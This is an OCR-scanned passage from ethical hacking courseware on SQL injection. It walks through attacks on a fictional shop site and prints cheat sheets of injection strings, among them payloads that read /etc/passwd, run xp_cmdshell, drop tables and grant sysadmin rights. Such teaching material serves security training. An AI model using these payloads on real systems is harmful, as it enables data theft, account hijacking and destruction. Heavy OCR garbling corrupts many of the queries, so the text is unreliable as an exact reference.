E x a m p l e 2: A t t a c k A n a l y s i s
Any website has a search bar for the users to search for data and if the search bar can't find the vulnerabilities in the data entered, then it can be used by attackers to create vulnerabilities to attack. W hen you enter the value into the search box as: blah UNION Select 0, username, password, 0 from users. SQL Query Executed:
SELECT ProductID, ProductName LIKE ProductName, QuantityPerUnit, UnitPrice 'blah' UNION SELECT 0, FROM Products 0 FROM USERS WHERE -username, password,

After executing the SQL query it shows results with the user names and passwords.

Module 14 Page 2012

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures

Exam 312-50 Certified Ethical Hacker

SQL Injection

http://|uggyboyshop com

Ju g g y B o y S h o p .c o m

Search for Products

>

Attacker Launching SQL Injection

blah' UNION Select 0, username, password 0 from users


Usernam es and Passwords are displayed

FIGURE 14.6: Attack Analysis

Module 14 Page 2013

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil


All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Example 3: Updating Table

E x a m p l e 3: U p d a t i n g T a b l e
To create the UPDATE command in the SQL query the syntax is: UPDATE " table_nam e" SET "co lu m n _l" = [new v a lu e ] WHERE {c o n d itio n } For example, say we currently have a table as follows: Table Store Information Store_Nam e Sydney Melbourne Queensland Victoria Sales $100 $200 $400 $800 Date Aug-06-2012 Aug-07-2012 AUg-08-2012 Aug-09-2012

TABLE 14.1: Store Table And we notice that the sales for Sydney on 08/06/2012 are actually $250 instead of $100, and that particular entry needs to be updated. To do so, we use the following SQL query:

Module 14 Page 2014

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

UPDATE Store Information SET S a le s = 250 WHERE s to re name = "Sydney" AND Date = "08/06/2012" The resulting table would look like this: Table Store Information Store_Nam e Sydney Melbourne Queensland Victoria Sales $250 $200 $400 $800 Date Aug-06-2012 Aug-07-2012 AUg-08-2012 Aug-09-2012

TABLE 14.2: Store Table After Updating

Ju g g y B o y .c o m Forgot Password

Attacker Launching SQL Injection

E m a il A d d r e s s

blah'; UPDATE jb-customers SET jb-email - 'info8juggyboy.com' WHERE email ='jason5springfield.com; --

Your passw ord will be sent to your registered email address

Ml
SQL Injection Vulnerable W ebsite

SQL Query Executed


SEI.F.CT j b - e m a 1 l , j b - p a s s w d , j b - 1 o g i n _ i r i , j b - l a s t _ n a m e F R O M m e m b e r s WHERE jb-email - ,blah'; UPDATE jb-customers SET jb-email - 'info@juggyboy.com' w h e r e email = jasonpspringfield.com; ;

FIGURE 14.7: SQL Injection Attack

Module 14 Page 2015

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Example 4: Adding New Records

CEH

u J f t Fo rg o t P a s s w o rd
1 1

g g y B o y . c o m

Attacker Launching SQL Injection


b la h ; IN S E R T IN T O jb - c u s t o m e r s ( ' jb e m a il , ' jb VA LU ES

Em ail Address Your passw ord will be sent to your registered em ail address

p a s s w d ' , 1j b l o g i n _ i d ' , ' j b l a s t _ n a m e ' ) ( ' ja s o n @ s p r in g f ie ld . com ' , ' h e l l o ', s p r in g f ie ld ') ;

' j a s o n ' , ' ja s o n

YL

SQL Injection Vulnerable Website


S Q L Q u e ry E x e c u t e d
SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members WHERE email = 'blah1; INSERT INTO jb-customers (j b - e m a i l j b - p a s s w d 1 j b - l o g i n _ i d jblast name') VALUES ('j a s o n @ s p r i n g f i e l d .c o m h e l l o j a s o n ', 'jason S p r i n g f i e l d 1); ;

Copyright b y EG-GlOOCil. All Rights Reserved. Reproduction Is Strictly Prohibited.

E x a m p l e 4: A d d i n g N e w R e c o r d s
The following example illustrates the process of adding new records to the table: INSERT INTO ta b le name (colum nl, column2, column3. . . ) VALUES ( v a l u e l , v a lu e 2 , v a lu e 3 . . . ) Sto re_N am e Sydney M elbourne Queensland Victoria Sales $250 $200 $400 $800 Date Aug-06-2012 Aug-07-2012 AUg-08-2012 Aug-09-2012

TABLE 14.3: Store Table INSERT INTO table_nam e VALUES ("A d e la id e ", (" s t o r e name", " s a l e s " , "d a t e ")

"$1000","08/10/2012")

Module 14 Page 2016

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

S to re N am e Sydney Melbourne Queensland Victoria Adelaide

Sales $250 $200 $400 $800 $1000

D ate Aug-06-2012 Aug-07-2012 AUg-08-2012 Aug-09-2012 Aug-10-2012

TABLE 14.4: Store Table After Adding New Table

http://1UHRVboy.com

!'1g g y R 0 y.com
Fo rg o t P a s s w o r d Attacker Launching SQL Injection Email Address

b l a h ' ; INSERT INTO jb - c u s to m e r s ( ' j b - e n a i l ' , b p a s s w d , j b l o g i n _ i d ' , 1j b Ia s t_ n a !B ' ) VA 1XJES a s o n s p r i n g f l e l d . c o r e 1 , , h o l l o ' , ja s o n , ^ a so n s p r in g fie ld ) ;

(3

1 0

Your passw ord w ill be sent to your registered email address

SQL Injection Vulnerable Website

SQL Query Executed


SELEC T W H ERE jb - e m a ilf e m a il = jb - p a s s w d , IN S E R T jb - lo g in _ id , IN T O jb - la s t_ n a m e FRO M m e m b e rs ja s o n ' , ja s o n s p n n g f i e l d ') ; *; 'b l a h '; jb - c u s t o m e r s ( ' j b - e m a i l j b - p a s s w d j b - l o g i n i d j b la s t n a m e ') VA LU ES ( ' ja s o n @ s p r in g f 1 e ld .c o m ' , * h e l l o

FIGURE 14.8: SQL Injection Attack

Module 14 Page 2017

Ethical Hacking and Countermeasures Copyright by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Example 5: Identifying the Table Name

C EH
BBQ

1 1

g g y B o y . c o m

Forgot Password
Em ail Address Your passw ord will be sent to your registered em ail address

blah AND 1=(SELECT COUNT(*) FROM mytable); -You will need to guess table names here

SQL Injection Vulnerable Website

S Q L Q u e ry E x e c u t e d

SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FR O M table W H ERE ;jb-email = ,blah' A N D 1=(SELECT COUNT(*) FR O M mytable); ;

Copyright b y

EG-G*ancil. All

Rights Reserved. Reproduction is Strictly Prohibited.

f ij

E x a m p l e 5: I d e n t i f y i n g t h e T a b l e N a m e e so
| \ Ju g g y B o y .c o m
Fo rg o t P a s s w o rd

Attacker Launching SQL Injection blah' A N D 1=(SELECT COUNT(*) FR O M mytable);


A
You w ill n eed to guess tab le n a m es h ere

Email Address Your password will be sent to your registered email address

SQL Injection Vulnerable Website

S Q L Q u e ry E x e c u te d SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM table WHERE jb-email = 'blah' AND !( SELECT COUNT(*) FROM m y t a b l e ) ;

FIGURE 14.9: Identifying the Table Name

Module 14 Page 2018

Ethical Hacking and Countermeasures Copyright by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Exam ple 6: D eleting a Table

1 1

g g y B o y . c o m

Fo rg o t P a s s w o rd

Attacker Launching SQL Injection

Em ail Address Your passw ord will be sent to your registered em ail address

blah'; DROP TABLE Creditcard; --

J
SQL Injection Vulnerable Website

S Q L Q u e ry E x e c u t e d

SELECT jb-email, jb-passwd, jb-login_id, jklast_name FROM members WHERE jb-email = ,blah'; DROP TABLE Creditcard; ';

Copyright b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

* E x a m p l e 6: D e l e t i n g a T a b l e

Attacker Launching SQL I n j e c t i o n

blah'; DROP TABLE Creditcard; SQL I n j e c t i o n Vulnerable Website


S Q L Q u e ry E x e c u te d

SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FRO Mm em bers W HERE jb-email = ,blah'; DRO P TABLE Creditcard; ;
FIGURE 14.10: Deleting Table

Module 14 Page 2019

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

M o d u le F lo w

C EH
(rtifwtf ttkujl IUU1

Copyright by EG-GtODCil. All Rights R eserved. Reproduction is Strictly Prohibited.

M o d u le F lo w
So far, we have discussed various concepts of SQL injection. Now we will discuss how to

test for SQL injection. SQL injection attacks are attacks on web applications that rely on the databases as their background to handle and produce data. Here attackers modify the web application and try to inject their own SQL commands into those issued by the d a tab a se .!

SQL Injection Concepts

^*

Advanced SQL Injection

Testing for SQL Injection

SQL Injection Tools

Types of SQL Injection

Evasion Techniques

Blind SQL Injection

^ v

Countermeasures

SQL Injection Methodology

Module 14 Page 2020

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

This section focuses on SQL injection attack characteristics and their detection.

Module 14 Page 2021

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

S T E P 6: Detailed error messages provide a wealth of information to an attacker in order to execute SQL injection

S T E P 1: Check if the web application connects to a Database Server in order to access some data

S T E P 5: The UNION operator is used to combine the result-set of tw o or more SELECT statements

S T E P 2: List all input fields, hidden fields, and post requests whose values could be used in crafting a SQL query

S T E P 4: Try to insert a string value where a number is expected in the input field

S T E P 3: Attempt to inject codes into the input fields to generate an error

Copyright by EC-CMICil. All Rights Jte$'ervfei;Reproduction is Strictly Prohibited.

SQL Injection Detection


The following are the various steps to be followed to identify SQL injections.

Step 1: Check if the web application connects to a Database Server in order to access some data. Step 2: List all input fields, hidden fields, and post requests whose values could be used in crafting a SQL query. Step 3: Attempt to inject codes into the input fields to generate an error. Step 4: Try to insert a string value where a number is expected in the input field. Step 5: The UNION operator is used in SQL injections to join a query to the original query. Step 6: Detailed error messages provide a wealth of information to an attacker in order to execute SQL injection.

Module 14 Page 2022

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL In jectio n Error M e s s a g e s


Attempt to inject codes into the input fields to generate an error a single quote ('), a semicolon (;), comments (), AND, and OR

CEH

Microsoft OLE DB Provider for ODBC Drivers error '80040el4' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string . /shopping/buy. aspx, line 52

[51
Attacker

4C4 1 U

Try to insert a string v a lu e w h e r e a n u m b e r is expected in th e in p u t field

Microsoft OLE DB Provider for ODBC Drivers error '80040607' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'test' to a column of data type int. /visa/credit.aspx, line 17

N ote: If applications do n ot provide detailed e rro r messages and re tu rn a sim ple '500 Server E rror1or a custom e rro r page th e n a tte m p t b lin d in je ctio n techniques
Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

SQL Injection Error Messages


The attacker makes use of the database-level error messages disclosed by an application. This is very useful to build a vulnerability exploit request. There are even chances of automated exploits based on the different error messages generated by the database server. These are the examples for the SQL injection attacks based on error messages: Attempt to inject codes into the input fields to generate an error a single quote ('), a semicolon (;), comments (-), AND, and OR. Microsoft OLE DB Provider for ODBC Drivers error '80040el4' [M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L b e fo re the c h a r a c te r s t r in g ' ' . /shopping/buy. aspx , l i n e 52 Try to insert a string value where a number is expected in the input field: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L S e r v e r ] Syntax e r r o r c o n v e rtin g the v a rc h a r v a lu e ' t e s t ' to a column o f d ata type i n t . / v i s a / c r e d i t . aspx, l i n e 17 Note: If applications do not provide detailed error messages and return a simple '500 Server Error' or a custom error page, then attempt blind injection techniques.
Module 14 Page 2023 Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

S e rv e r]U n c lo s e d q u o ta tio n mark

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Attack Characters

CEH
Urtiftetf ttkujl lUckM

' or Character string indicators or # Single-line comment


Multiple-line comment

?Paraml=foo&Param2=bar

URL Parameters Useful as nontransactional command Local variable

PRINT

/*.*/

variable \

Addition, concatenate (or space in url)

(*variable w a itfo r d elay 0 :0 :1 0

Global variable

11
%

(Double pipe) concatenate

Time delay Displays SQL server version

Wildcard attribute indicator

V Aversion

Copyright by EG-GtOIICil. All Rights Reserved. Reproduction is Strictly Prohibited.

SQL Injection Attack Characters


The following is a list of characters used by the attacker for SQL injection attacks:
Character , o r" - or #
J* *j

Function

Character string indicators Single-line comment Multiple-line comment Addition, concatenate (or space in url) (Double pipe) concatenate Wildcard attribute indicator URL Parameters Useful as non-transactional command Local variable Global variable Time delay Displays SQL server version

+ II %
?Paraml=f00&Param2=bar PRINT (variable ((variable waitfor delay '0:0:10' ((version

Module 14 Page 2024

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Additional M ethods to D etect SQL Injection


M ethod 1

CEH

F u n c tio n T e s tin g
s s a

Ex am p le of Functio n Testing
http:://juggyboy/?parameter=123 http:://juggyboy/?param eter=l' http:://juggyboy/?param eter=l'# http:://juggyboy/?param eter=l" http:://juggyboy/?param eter=l AND 1=1http:://juggyboy/?param eter=l'http:://juggyboy/?param eter=l AND 1=2-http:://juggyboy/?param eter=l'/* http:://juggyboy/?param eter=l' AND T = ' l http:://juggyboy/?param eter=l order by 1000

This testing falls within the scope of black box testing, and as such, should require no knowledge of the inner design of the code

V
M e th o d 2

or logic

F u z z in g T e s tin g
It is an adaptive SQL injection testing technique used to discover coding errors by

& a
0 0

V
M e th o d 3

inputting massive amount of random data and observing the changes in the output

S ta tic / D y n a m ic T e s tin g
Analysis of the web application source co11e # 3 1

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Additional Methods to Detect SQL Injection


SQL injection can be detected with the help of the following additional methods:

knowledge of the inner design of the code or logic.

(&
&

F u n ctio n T estin g
This testing falls within the scope of black box testing, and as such, should require no

F u zzin g T estin g
Fuzzy testing is a SQL injection testing technique used to discover coding errors by inputting a massive amount of data to crash the web application.

S tatic /D y n am ic T estin g
Static/dynamic testing is the manual analysis of the web application source code. Example of Function Testing: 9 a http://juggyboy/?parameter=123 http://juggyboy/?parameter=r

Module 14 Page 2025

Ethical Hacking and Countermeasures Copyright by EC-C0linCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

http://juggyboy/?parameter=r# http://juggyboy/?parameter=r http://juggyboy/?parameter=l AND 1=1 http://juggyboy/?parameter=r http://juggyboy/?parameter=l AND 1=2-http://juggyboy/?parameter=l'/* http://juggyboy/?parameter=l' AND T = 'l http://juggyboy/?parameter=l order by 1000

Module

14 Page 2026

Ethical Hacking and Countermeasures Copyright by EC-C0linCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Black Box Pen Testing


Detecting SQL Injection Issues
J Send single quotes as the input data to catch instances where the user input is not sanitized Send double quotes as the input data to catch instances where the user input is not sanitized Use right square bracket (the ]

CEH

Detecting Input Sanitization

<W>

character) as the input data to catch instances where the user input is used as part of a SQL identifier without any input sanitization

lL J-.
Detecting SQL Modification
Send long strings of single quote characters (or right square brackets or double quotes) These max out the return values from REPLACE and QUOTENAME functions and might truncate the command variable used to hold the SQL statement

Detecting Truncation Issues


Send long strings of junk data, just as you would send strings to detect buffer overruns; this action might throw SQL errors on the page

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

SQL Injection Black Box Pen Testing


In black box testing, the pen tester doesn't need to possess any knowledge about the network or the system to be tested. The first job of the tester is to find out the location and system infrastructure. The tester tries to identify the vulnerabilities of web applications from the attacker's perspective. Use special characters, white space, SQL keywords, oversized requests, etc. to determine the various conditions of the web application. The following are the various issues related to SQL injection black box penetration testing: Detecting SQL Injection Issues Send single quotes as the input data to catch instances where the user input is not sanitized. Send double quotes as the input data to catch instances where the user is not sanitized. Detecting Input Sanitization Use the right square bracket (the ] character) as the input data to catch instances where the user input is used as part of a SQL identifier without any input sanitization. Detecting SQL Modification Send long strings of single quote characters (or right square brackets or double quotes). These max out the return values from REPLACE and QUOTENAME functions and might truncate the command variable used to hold the SQL statement.

Module 14 Page 2027

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Detecting Truncation Issues Send long strings of junk data, just as you would send strings to detect buffer overruns; this action might throw SQL errors on the page.

Module 14 Page 2028

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Testing for SQL Injection


|
1 1 or T = ' l value' or 'l'= 2 1' and T = '2 1' or 'a b '= 'a V b 1' or 'ab'='a' 'b 1' or 'ab'='a'| |'b

UrtifM

CEH
IthKJl lUckM

Testing String

Variations
Single code l )o r (!,l valu e') o r ('l'= '2 1') and ( T 2 1') o r ('ab'=a V b 1') or('a b '= a " b 1') or (ab'='a'| |'b

1 1
1

Testing String
'; drop table users-

Variations

Testing String
admin'--

Variations
adm in1 )-

ad m in '# 1+1 3-1 1-

admin')#

1(

valu e + 0

j
1 or 1=11) o r 1=11) o r (1=1 o r '1'='1' ) or T ' l ' -

1 or 1=1

valu e or 1=2

value) or (1=2

Testing String
';(SQL Statement];--

Variations
');{SQL Statement];-

1 and 1=2

1) and (1=2

Testing String
-1 and 1=2-

Variations
-1) and 1=2-

1 or 'ab'= 'a V b ' ,;[SQL Statement];!)


');[SQL Statement];#

1) or ('ab '= 'a V b '

1 or 'a b '= 'a "b ' ;(SQL Statement];);[SQL Statement];1 o r ' a b '^ a 'I |'b'

1) or ('ab'' T >

and '1='2

') a n d 'IV ? -

;(SQL Statement];#

);[SQL Statement];#

l)o r fab'-'a'I !*b'

!/ *co m m e n t*/

Copyright by EG-CtUIICil. All Rights Reserved. Reproduction is Strictly Prohibited.

Testing for SQL Injection


Some of the testing strings with variations used in the database handling commonly bypass the authentication mechanism. You can use this cheat sheet to test for SQL injection:

F IG U R E 14.11: Testing for SQ L Injection

Module 14 Page 2029

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Testing String 116 11 6 (116)


' OR 1=1OR 1=1 ' OR 'l'= 'l ; OR T = T %27+ + " or 1=1'o r 1=1/*

Testing String
or 1=1" or"a"="a Admin' OR ' ' having 1=1' OR 'text' =N'text' ' OR 2 > 1 ' OR 'text' >'t' ' union select Password:*/=l' or 1/*

Testing String
%22+or+isnull%281%2F0%29+%2F* ' group by userid having 1=1EXECUTE IMMEDIATE ,SEL' 1 1 'ECT US ER 1 1 ' CRATE USER name IDENTIFIED BY 'passl23'

Testing String
7**/OR/**/l/**/= /**/l ' or 1 in (select ((version)' union all select @@version ' OR 'unusual' = ,unusual' ' OR 'something' = ,someVthing' ' OR 'something' like 'some%' ' OR 'whatever' in ('whatever') ' OR 2 BETWEEN 1 and 3 ' or username like char(37);

Testing String
UNI/**/ON SEL/**/ECT '; EXEC ('SEL' +'ECT US' +'ER') +or+isnull%281%2F 0%29+%2F* %27+OR+%277659 %27%3D%277659 %22+or+isnull%281 %2F0%29+%2F* ' and 1 in (select var from temp)'; drop table temp exec sp_addlogin 'name', 'password' @var select < S> va r as var into temp end -

' union select


l,load_f1le('/etc/passwd'),l,l,l; exec master..xp_cmdshell 'ping 10.10.1.2'exec sp addsrvrolemember 'name', 'sysadmin' GRANT CONNECT TO name; GRANT RESOURCE TO name; ' union select * from users where login =char(114,lll,lll,116);

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Testing for SQL Injection (Contd)


Additional testing strings used to test for SQL injection include:
Testing String 116 Testing String
or 1-1" or V "a * Admin' OR having 1 1= 1, OR ,t e x t N.text ' union select

Testing String
%22+or+fsnuM%281%2F0%29+%2F*

Testing String

Testing String
UNI/* */ON SEL/ /ECr EXEC (SEl' EC T US- ER)
or+isnull%281%2F 0 % 2 9 .% 2 F *

l/ /

/ * * / O R/* * / l / * * / '

ll6
(116)
OR 1 1 OR 1 1 'OR ' 1 1 ;OR T - T K27+-f " or 1=1' or 1-1 /*

' group by userid having 1 * 1 ;EXECUTE IMMEDIATE SEL 11 ECT US* 11 ER* CRATE USER nam e IDENTIFIED BY p assl2 3

o r 1 in (select ' version ^ @ ( ' union all select vcrsion > > * = 'OR ,unusual 'unusual, = 'OR ,som ething ' 'so jm e 't'th in g , 'OR ,som ething ' '%like 'some OR ,w h a te ve r' in ' w h a te v e r1 ,( ( * OR 2 BETWEEN 1 and 3 or username like char ) 37 (;

%27+OR+%277659 %27%3D%277659
%22+or+isnull%281 %2 FO S2 9 + V 2 F*

' OR 2 < 1 OR ,text 1 < ,* t union select ' Password:*/- l or ' 1/*

l,load_fiIe{/etc/pdSS W d,) , l , l , l ; exec m astei xp_andshell ,ping

10.10.1.2 exec sp_9<klsryrolemem ber n a m e ', sysadmin' GRANT CONNECT TO nam e; GRANT RESOURCE TO name; union select * fro m users w h e re login - char( 114,111,111,116);

' and 1 in (select y^r fro m t e m p ) ; drop tah le te m p

exec sp ..addlogin ,n a m e ', 'password' <var select ff r as var in to te m p end

F IG U R E 14.12: A dditional Testing Strings

Module 14 Page 2030

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

M odule Flow

(rtifwtf

CEH
ttkujl IU U 1

Copyright by EG-GtODCil. All Rights Reserved. Reproduction is Strictly Prohibited.

M odule Flow
So far, we have discussed various SQL injection concepts and how to test web applications for SQL injection. Now we will discuss various types of SQL injection. SQL injection attacks are performed in many different ways by poisoning the SQL query, which is used to access the database. ( SQL Injection Concepts (C, * Advanced SQL Injection

Testing for SQL Injection

SQL Injection Tools

Types of SQL Injection

^ ) ^
y

Evasion Techniques

Blind SQL Injection

Countermeasures

SQL Injection Methodology

Module 14 Page 2031

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

This section gives insight into the different ways to handle SQL injection attacks. Some simple SQL injection attacks, including blind SQL injection attacks, are explained with the help of examples.

Module 14 Page 2032

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Types of SQL Injection

CEH

U N IO N S Q L In je c tio n

Types of SQL Injection


The following are the various types of SQL injection:

SQL In je c tio n
^ SQL injection is an attack in which malicious code is injected through a SQL query which can read the sensitive data and even can modify (insert/update/delete) the data. SQL injection is mainly classified into two types: Blind SQL Injection W here ever there is web application vulnerability, blind SQL injection can be used either to access the sensitive data or to destroy the data. The attacker can steal the data by asking a series of true or false questions through SQL statements. Simple SQL Injection A simple SQL injection script builds a SQL query by concatenating hard-coded strings together with a string entered by the user. Simple SQL injection is again divided into two types: 9 UNION SQL Injection: UNION SQL injection is used when the user uses the UNION command. The attacker checks for the vulnerability by adding a tick to the end of a ".php? id=" file.

Module 14 Page 2033

Ethical Hacking and Countermeasures Copyright by EC-COUIICil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Error Based SQL Injection: The attacker makes use of the database-level error messages disclosed by an application. This is very useful to build a vulnerability exploit request.

Module 14 Page 2034

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Simple SQL Injection Attack


System Stored Procedure
Attackers exploit databases' stored

CEH

procedures to perpetrate their attacks

Union Query
"UNION SELECT" statement ;tatement returns the union of the intended dataset with the dataset 1e target target dataset

End of Line Comment

^
f

W & )

After injecting code into a particular field, legitimate I V ^ code that follows is nullified through usage of end of line comments

SELECT Name, Phone, Address FROM Users WHERE ERE Id=l UNION
ALL SELECT

ker ,1,1 FROM creditCardNumber,1,1 CreditCardTable

Tautology
Injecting statements that are always true so that queries always return results upon evaluation of a W HERE condition

1 JU J

g j SELECT * FROM u s e r WHERE name 'x' AND userid IS NULL;

Kc o ...

data types, names of tables, etc.

SELECT * FROM users WHERE name = '' OR '1' ='1';


Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Simple SQL Injection Attacks


A simple SQL injection script builds an SQL query by concatenating hard-coded strings together with a string entered by the user. The following are the various elements associated with simple SQL injection attacks: 9 System Stored Procedure: Attackers exploit databases' stored procedures to perpetrate their attacks. a End of Line Comment: After injecting code into a particular field, legitimate code that follows is nullified through the use of end of line comments. SELECT * FROM u se r WHERE name = 'x ' AND u s e r id I S NULL; Illegal/Logically Incorrect Query: tables, etc. Q Tautology: Injecting statements that are always true so that queries always return results upon evaluation of a W H ERE condition. SELECT * FROM u se rs WHERE name =
or

An attacker may gain

knowledge

by injecting

illegal/logically incorrect requests such as injectable parameters, data types, names of

l = l

Module 14 Page 2035

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Union Query: UNION SELECT" statement returns the union of the intended dataset with the target dataset SELECT Name, Phone, Address FROM Users W HERE ld=l UNION ALL SELECT creditCardNumber, 1, 1 FROM CreditCardTable.

Module 14 Page 2036

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

U nion SQL In jectio n E x a m p le

Union SQL Injection Extract Database Name


http://juggyboy.com/page. aspx?id=l UNION SELECT ALL 1,DB_NAME,3,4
[D B_N AM E]

Union SQL Injection - Extract Database Tables


http://juggyboy.com/page.aspx?id=l UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)-[EMPLOYEE_TABLE]

Returnedfrom theserver

Returnedfromtheserver

Union SQL Injection Extract Table Column Names


http://juggyboy. com/page.aspx?id=l UNION SELECT ALL 1 ,column_name,3,4 from DB_NAME. information_schema.columns where table_name ='EMPLOYEE_TABLE'
[EM PLOYEE_NAME]

Union SQL Injection - Extract 1st Field Data


h t t p :/ / j u g g y b o y .c o m / p a g e .aspx?id=l UNION SELECT ALL 1,COLUMN-NAME1,3,4 from EMPLOYEE_NAME [FIELD 1 VALUE]

Returnedfrom theserver

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Union SQL Injection Example


UNION SQL injection is used when the user uses the UNION command. The user checks for the vulnerability by adding a tick to the end of a ".php? id=" file. If it comes back with a MySQL error, the site is most likely vulnerable to UNION SQL injection. They proceed to use ORDER BY to find the columns, and at the end, they use the UNION ALL SELECT command. Extract Database Name This is the example of union SQL injection in which an attacker tries to extract a database name, h t t p :/ / ju gg yb oy. com/page. asp x ?id = l UNION SELECT ALL 1 ,DB_NAME,3,4-[DB_NAME] Returned from the server Extract Database Tables This is the example of union SQL injection that an attacker uses to rxtract database tables. h t t p :/ / ju gg yb oy. com/page. asp x ?id = l s y s o b je c ts where x typ e= ch ar(85)-UNION SELECT ALL 1 ,name,3,4 from

[EMPLOYEE_TABLE] Returned from the server. Extract Table Column Names This is the example of union SQL injection that an attacker uses to extract table column names.

Module 14 Page 2037

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

h t t p :/ / ju gg yb oy. com/page. asp x ?id = l UNION SELECT ALL 1, column name, 3, 4 from DB_NAME. in fo rm a tio n _ schema. Columns where t a b le _ name = 'EMPLOYEE_TABLE'-[EMPLOYEE_NAM E] Extract 1st Field Data This is the example of union SQL injection that an attacker uses to extract field data. h t t p : //ju g g yb o y. com/page. asp x ?id = l UNION from EMPLOYEE_NAME -[FIELD 1 VALUE] Returned from the server SELECT ALL 1, COLUMN-NAME-1, 3, 4

Module 14 Page 2038

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Error Based


Extra ct Database Name
w http://juggyboy.com/page.aspx?id= 1 or l=convert(int,(DB_NAME))
a Syntax error converting the nvarchar value 1 [DB NAME]' to a column of data type int.

tilled IUkJ M mM *

CEH

